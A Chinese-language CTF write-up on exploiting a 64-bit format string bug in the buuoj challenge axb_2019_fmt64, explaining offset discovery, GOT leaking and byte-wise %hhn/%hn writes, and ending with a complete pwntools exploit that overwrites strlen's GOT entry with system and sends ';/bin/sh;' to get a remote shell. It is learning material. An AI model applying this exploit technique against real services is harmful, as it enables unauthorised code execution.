题目可在buuoj上找到,不知道为啥现在github怎么也上不去了,传不了题目
学了好多遍fmtstr了,感觉ctf这种学习就是。。。不学就会忘,不能停止做题目。。。
64位fmtstr和32位不同之处在于
1.传入地址可能存在0字符截断(32位由于字符数量少,可能没有这个问题)
2.修改地址可能产生%xc中x过大导致网络异常
就本题而言,会出现这两种情况
首先使用IDA容易看出,这里有格式化字符串漏洞,64位
使用一般方法确定偏移量
容易看出这是第八个参数
之后采用一般的got-hijack方法,泄露puts地址,修改成为system并且传入/bin/sh即可
修改方法以及含义如下
注意:使用%10$sAAA一共8个字符占位,同时两边AAA便于确定中间泄漏的地址在哪里,观察到下图

绿色框框就是puts的加载地址,也就是我们要hijack的地址
我们把它接下来,看到了64位的puts_addr(上图)
此时,可以根据libc_searcher获取libc了(由于本题没给libc),但是这题比较奇怪,本地libcsearcher找到的和远程的不一样。并且远程可以getflag时,本地不可以。这个疑问还没有解决,如果哪位师傅知道还请多多指教

接着在远程用libcsearcher查询,可以看到只有一个前缀没有old,可能性比较大
选择这个之后,就可以打印出system的地址了,我们看一下
libc_base符合末尾位为0,应该是正确的。接下来就是64位的特殊之处了。
在32位中,我们可以使用fmtstr_payload(offset,{dest:data})来进行写入数据,这是pwntools为我们提供的方法但是如果这里也这样使用,由于64位数字可能很大,导致传输超时的现象(例如这道题只允许3s的传输时间)
因此64位字符串需要逐字节的修改,以便达到数据传输量最少的效果。
这里通过一篇博客学习了64位fmtstr的解法,写得相当好
https://www.anquanke.com/post/id/194458
博客中提到,按照他的实验现象和结论,fmtstr中的地址+1就代表了解析出的地址位数少一个byte,博客截图是这样的
具体的还可以在以上博客中看到
这给了一种逐字节写入的方法,但是问题还不是那么简单 :(
为什么呢?因为fmtstr单字节写入操作%k$hnn的k依赖于前面已经打印的字符个数
所以必须要求:写入的内容大小是递增的
同时,就本题而言,如果把不相同的3byte拆成3份写入,还必须要求最后一份大小>=第一份大小+第二份大小。这感觉有些苛刻。
这里想到一个思路:也许可以不用一次写完,例如修改alarm的got表,则可以一次修改一位,逐位修改而不用考虑大小和顺序问题,感兴趣的师傅可以尝试一下
因此,这里为了避免大小和写入顺序的问题,采用$hnn和$hn(2+4)的组合来写入,解决了大小和顺序问题(4位一定比两位大)
两次写入。这里遇到了一个问题就是使用puts_got无法getshell,思考了以下,可能是因为在传入/bin/sh的时候,传入的正好是read的缓冲区位置而不是system的参数字符串,而使用strlen时,没有read的调用,所以就成功了。当然我的想法也不一定对,如果你知道的话,请务必留言,谢谢!

现在就剩传入/bin/sh了,但是这里卡了我很久,因为确实有传入字符数量的限制,导致我不能修改成功。如图所示
这里是因为有字符大小限制

参考了博客
https://blog.csdn.net/mcmuyanga/article/details/113242453
他最后写道;bin/sh,在前面加了一个分号,之后就神奇的,不报错了??
这里相当令人迷惑!而且网上也没找到为什么可以这样写。

完整的exp
注释有的是我写了一半发现没用的,像那个大循环是我后来发现有以上的问题,没有继续写下去。

from pwn import *
from LibcSearcher import *
# io=process('./axb_2019_fmt64')
io=remote('node3.buuoj.cn',25602)
elf=ELF('./axb_2019_fmt64')
context.log_level='debug'
puts_got=elf.got['puts']def send(str_):io.sendafter("Please tell me:",str_)bias=8payload1='AAAAAAAA'+'%10$sAAA'+p64(puts_got)
send(payload1)
io.recvuntil('AAAAAAAA')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print 'puts_addr----->'+str(hex(puts_addr))# pause()
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
# binsh=libc_base+libc.dump("str_bin_sh")
strlen_got=elf.got['strlen']
print "libc_base----->"+hex(libc_base)
print 'system----->'+str(hex(system_addr))# pause()
puts_end=hex(puts_addr)[8:]
system_end=hex(system_addr)[8:]
print "puts_end----->"+puts_end
print "system_end----->"+system_endsystem_last_2=system_end[4:]
system_last_2_4=system_end[2:4]
system_first_2=system_end[0:2]
print "system_first_2----->"+system_first_2
print "system_last_2_4----->"+system_last_2_4
print "system_last_2----->"+system_last_2
# pause()# payload_try='aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p'
# send(payload_try)
# pause()# argu_0=int(system_first_2,16)
# argu_1=int(system_last_2_4,16)<<8
# argu_2=int(system_last_2,16)<<16argu_0=system_addr&0xffff
argu_1=(system_addr>>16)&0xff#here we should write a script to determin which to write first,because fmtwrite depends on the size printed, so the size must be increase#but the function has someproblem that it constrains too much
# def fmt_create:
#     #according to their size:
#     if(argu_0>argu_1):
#         if(argu_0>argu_2):
#             if(argu_2>argu_1):
#                 #argu_0>argu_2>argu_1
#                 payload=p64(puts_addr+1)+p64(puts_addr+2)+p64(puts_addr)+'%'+str(argu_1-9)+'c%8$hhn'+'%'+str(argu_2-argu_1)+'c%9$hn'+'%'+str(argu)print "argu_0----->"+hex(argu_0)
print "argu_1----->"+hex(argu_1)# pause()
payload1= "%" +str(argu_1-9)+ "c%12$hhn" + "%" +str(argu_0-argu_1)+ "c%13$hn"
print payload1
payload1=payload1.ljust(32,'a')
# payload1+=p64(puts_got+2)+p64(puts_got)
payload1+=p64(strlen_got+2)+p64(strlen_got)payload2=';/bin/sh;\x00'
send(payload1)
io.sendafter("Please tell me:",payload2)
io.interactive()

result:

再放上参考资料:
features about fmt64:
https://www.anquanke.com/post/id/194458
reference wp
https://blog.csdn.net/mcmuyanga/article/details/113242453
有任何不懂的或者知道以上问题的解决的,欢迎留言!

64位格式化字符串漏洞利用——axb_2019_fmt64相关推荐

  1. 好好说话之64位格式化字符串漏洞

    64位格式化字符串和32位的很相似,做题的步骤也相同,唯一不同的是64位程序对函数参数存储的方式和32位的不同.64为程序会优先将函数的前6个参数放置在寄存器中,超过6个的再存放在栈上,而32位直接存 ...

  2. 格式化字符串漏洞利用时计算的偏移到底是什么?

    格式化字符串漏洞利用时计算的偏移到底是什么? 我们平时在自己做题或者是看大佬们的wp时都会看见这种说法 说法一: 说法二: 相信有不少半路出家的小白都和我一样都只是知其然不知其所以然,那这里所说的&q ...

  3. (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用

    这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...

  4. Linux下的格式化字符串漏洞利用姿势

    [转]http://www.cnblogs.com/Ox9A82/p/5429099.html linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除 ...

  5. linux获取字符格式化,Linux 格式化字符串漏洞利用

    目的是接觸一些常見的漏洞,增加自己的視野.格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫.下面結合着自己的學習 ...

  6. 格式化字符串漏洞利用 三、格式化字符串漏洞

    三.格式化字符串漏洞 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1 ...

  7. 格式化字符串漏洞利用

    学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/                        ht ...

  8. 格式化字符串漏洞利用 五、爆破

    五.爆破 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 当利用 ...

  9. 格式化字符串漏洞利用 七、工具

    七.工具 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 一旦利 ...

最新文章

  1. 当前主要使用的python版本_如何获取当前使用的Python版本信息?(代码示例)
  2. SAP UI5 popup弹出对话框的调试
  3. c语言链表贪吃蛇脚本之家,C++控制台实现贪吃蛇游戏
  4. java黄金连分数_蓝桥杯 | Java B组省赛真题练习——黄金连分数-Go语言中文社区...
  5. 零氪科技与诺华达成战略合作 共同打造数字化医疗创新模式
  6. 如何禁用Web表单字段/输入标签上的浏览器自动完成功能?
  7. a标签传值乱码问题怎么解?
  8. 安装keepalived高可用(双实例)
  9. hive sql脚本学习
  10. Centos8[Linux]下载安装qq音乐,亲测可行
  11. 飞信2008内测版下载
  12. ads的designguide打不开报错
  13. 从帝王之术中窥探天机
  14. 使用VSCode插件CodeRunner一键编译运行Java
  15. Bezier曲线生成【计算机图形学】
  16. Android之获取外部存储空间解释
  17. 决策树应用实例①——泰坦尼克号分类
  18. 天津大学计算机专硕_天津大学计算机技术专硕考研参考书
  19. 盘复分支语句和循环语句的那些知识
  20. 我的世界电脑正版怎么开服务器,我的世界手机版开服器怎么用 开服务器方法...

热门文章

  1. 红芯 | 移动化路上,你都遇到过哪些坑和不爽的经历?
  2. 甘特图实时跟踪项目进度,让项目管理更高效
  3. DS18B20+DS1302+Lcd1602+AT89C51电子钟
  4. adams软件Linux,ADAMS仿真过程中如何提高计算效率,缩短计算时间,相应其他软件也可以类似操作。(原创)...
  5. 2013 04 24 IELTS陌生词汇260条
  6. 自适应textarea文本域高度原理
  7. 华中师范大学计算机学院夏令营有感
  8. Java变量和运算符详解
  9. 【Python】输入输出与运算符
  10. [架构之路-190]-《软考-系统分析师》-4-据通信与计算机网络-5-图解CRC计算方法与步骤